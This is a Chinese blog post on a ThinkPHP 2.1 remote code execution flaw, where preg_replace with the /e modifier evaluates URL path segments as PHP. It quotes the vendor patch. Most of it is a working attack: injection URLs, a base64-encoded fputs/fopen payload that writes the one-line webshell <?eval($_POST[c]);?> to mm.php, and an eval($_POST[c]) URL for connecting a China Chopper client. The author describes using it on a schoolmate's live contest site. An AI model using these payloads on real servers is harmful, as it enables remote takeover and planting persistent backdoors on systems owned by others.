ThinkPHP 2.1 漏洞可拿webshell
这个0day是一个月前爆出来的,为什么我今天说呢,因为今天我遇到了一个学弟用这个带漏洞的系统改框架码代码,他是去年用这套系统为西电写的网络攻防大赛的主页,那个时候0day还没爆出,所以网站一直幸免于难,但是,最近西电又要举办一次网络攻防大赛了,他还是用这套系统,那我就要义不容辞的上它了 嗷哈哈
晚上他和我聊 要我出比赛的有关题目 然后扔了个连接给我
我看了下 系统还是以前的那个thinkphp 2.1的版本
我们来分析下漏洞吧
官方发布了一个安全补丁
表述是:该URL安全漏洞会造成用户在客户端伪造URL,执行非法代码。
官方的补丁:
/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php
125 – $res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'/]+)@e’, ‘$var['1']=”2″;’, implode($depr,$paths));
125 + $res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'/]+)@e’, ‘$var['1']=’2′;’, implode($depr,$paths));
这个代码是把pathinfo当作restful类型url进行解析的,主要作用是把pathinfo中的数据解析并合并到$_GET数组中。
然而在用正则解析pathinfo的时候,主要是这一句:
$res = preg_replace(‘@(w+)’.$depr.’([^'.$depr.'/]+)@e’, ‘$var['1']=”2″;’, implode($depr,$paths));
这里明显使用了preg_replace的/e参数,这是个非常危险的参数,如果用了这个参数,preg_replace第二个参数就会被当做php代码执行,作者用这种方式在第二个参数中,利用PHP代码给数组动态赋值。
‘$var['1']=”2″;’
而这里又是双引号,而双引号中的php变量语法又是能够被解析执行的。因此,攻击者只要对任意一个使用thinkphp框架编写的应用程序,使用如下方式进行访问,即可执行任意PHP代码:
index.php/module/action/param1/${@print(THINK_VERSION)}
执行效果如下:
就是说
print( )里面可以执行我们的任意代码
如phpinfo()等其他函数
那就行了
我们可以直接利用
fputs和fopen函数直接写木马出来了
构造语句
fputs(fopen(base64_decode(“bW0ucGhw”),”w”),base64_decode(“PD9ldmFsKCRfUE9TVFtjXSk7Pz4=”))
base64_decode(“bW0ucGhw”)解码后是 mm.php
base64_decode(“PD9ldmFsKCRfUE9TVFtjXSk7Pz4=”)解码后是 <?eval($_POST[c]);?>
只要执行了 就能在该目录下生成一个mm.php的一句话木马文件
但是操作的时候出现了问题
经分析 是双引号被转义了
然后我试了其他几种不用双引号写马的代码
都失败了 原因是 <> 尖括号等都被转义了 而用
exec()等系统命令执行函数写马的话是写不出的
网上的利用方法貌似很少 只有神刀网的那个用echo写马的方法
但是前提是双引号没有被转义掉才能成功
怎么办呢
这个时候不要太拘泥于这里了
一个中国人搞安全怎么能忘记中国人写的软件菜刀了
直接构造代码
http://www.xxxxxx.net/project/xaa/index.php/module/action/param1/${@print(eval($_POST[c]))}
菜刀里面直接填这个路径 密码C 就能连接了
根本不用拘泥于写马的问题
神刀网上此漏洞利用的方法 还要考虑文件写权限的问题
转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/3955.html